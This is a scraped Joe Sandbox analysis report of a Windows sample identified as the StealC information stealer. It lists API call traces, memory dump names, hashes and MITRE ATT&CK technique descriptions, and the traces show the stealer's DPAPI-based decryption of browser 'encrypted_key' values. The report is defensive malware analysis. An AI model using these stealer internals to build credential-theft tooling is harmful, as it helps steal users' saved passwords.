Part of subcall function 00B099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B09A31
Part of subcall function 00B099C0: ReadFile.KERNEL32(000000FF,?,00000000,00B0148F,00000000), ref: 00B09A5A
Part of subcall function 00B099C0: LocalFree.KERNEL32(00B0148F), ref: 00B09A90
Part of subcall function 00B099C0: CloseHandle.KERNEL32(000000FF), ref: 00B09A9A

Part of subcall function 00B18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B18E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B09D39

Part of subcall function 00B09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B04EEE,00000000,00000000), ref: 00B09AEF
Part of subcall function 00B09AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B04EEE,00000000,?), ref: 00B09B01
Part of subcall function 00B09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B04EEE,00000000,00000000), ref: 00B09B2A
Part of subcall function 00B09AC0: LocalFree.KERNEL32(?,?,?,?,00B04EEE,00000000,?), ref: 00B09B3F

Part of subcall function 00B09B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B09B84
Part of subcall function 00B09B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00B09BA3
Part of subcall function 00B09B60: LocalFree.KERNEL32(?), ref: 00B09BD3

Strings

"encrypted_key":", xrefs: 00B09D30
, xrefs: 00B09DC1
DPAPI, xrefs: 00B09D89

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: a34fd592556fef472d7b6376e22a15f375f190a705ec5e4fbf733287624aa1cc
Instruction ID: 16494c9a04a0955a362664c1f3b04e282455210568eeb1ae12f965c5da97b242
Opcode Fuzzy Hash: a34fd592556fef472d7b6376e22a15f375f190a705ec5e4fbf733287624aa1cc
Instruction Fuzzy Hash: CB3132B5D10109ABCB14EFE4DC85AEE7BF8FB48304F5445A8E915A7282E7349A44CBA1

Function 00B192E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00B13AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00B13AEE,?), ref: 00B192FC
GetFileSizeEx.KERNEL32(000000FF,00B13AEE), ref: 00B19319
CloseHandle.KERNEL32(000000FF), ref: 00B19327

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: cd0c2ed6c17acf4030dde7b5c1b17c9009fc784ba604f05a93d0251848d6ed4e
Instruction ID: 3cf48bd31808019bb281405bb2c4df4fb661d8d8ed8e631b7fb887ea2903469a
Opcode Fuzzy Hash: cd0c2ed6c17acf4030dde7b5c1b17c9009fc784ba604f05a93d0251848d6ed4e
Instruction Fuzzy Hash: 9FF03C39E80308BBDB20DFB4EC59B9E77F9EB48710F508294B661E72C0D6749A418B54

Function 00B1C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B1C74E

Part of subcall function 00B1BF9F: __amsg_exit.LIBCMT ref: 00B1BFAF

__getptd.LIBCMT ref: 00B1C765
__amsg_exit.LIBCMT ref: 00B1C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00B1C797

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 1ff1af37854c75a688c8fbf0f79fa042d9e07c599aa3812e9e74c8f7f8448743
Instruction ID: 4466ab969bd3927a84038dafc8e79858040cea01ccf9ac7abc7f01005cfa8ccc
Opcode Fuzzy Hash: 1ff1af37854c75a688c8fbf0f79fa042d9e07c599aa3812e9e74c8f7f8448743
Instruction Fuzzy Hash: 50F030329857109BD721BBB85846FDD3BE0AF00721FA441C9F414A71D2DFA46DC29E5A

Function 00B14F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B18E0B

lstrcat.KERNEL32(?,00000000), ref: 00B14F7A
lstrcat.KERNEL32(?,00B21070), ref: 00B14F97
lstrcat.KERNEL32(?,011F8A50), ref: 00B14FAB
lstrcat.KERNEL32(?,00B21074), ref: 00B14FBD

Part of subcall function 00B14910: wsprintfA.USER32 ref: 00B1492C
Part of subcall function 00B14910: FindFirstFileA.KERNEL32(?,?), ref: 00B14943

Part of subcall function 00B14910: StrCmpCA.SHLWAPI(?,00B20FDC), ref: 00B14971
Part of subcall function 00B14910: StrCmpCA.SHLWAPI(?,00B20FE0), ref: 00B14987
Part of subcall function 00B14910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B14B7D
Part of subcall function 00B14910: FindClose.KERNEL32(000000FF), ref: 00B14B92

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8a58ee84ba825f21e485e0a290aa8ac49d0b56a6d5c1dc5b6fc4501c590d31d6
Instruction ID: 3e2168070eaed4a18daea89e95257e9e2982db85262c4ff34dadb9c0f223dd59
Opcode Fuzzy Hash: 8a58ee84ba825f21e485e0a290aa8ac49d0b56a6d5c1dc5b6fc4501c590d31d6
Instruction Fuzzy Hash: D121FB7A94030467C754FFB4EC46EED33BCAB55300F4045D4B649D6191EE7496C98BB2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00B19860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00B045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00B04880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00B19C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00B06280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00B15510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00B117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00B17500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00B169F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00B01220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00B16AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00B047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00B151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON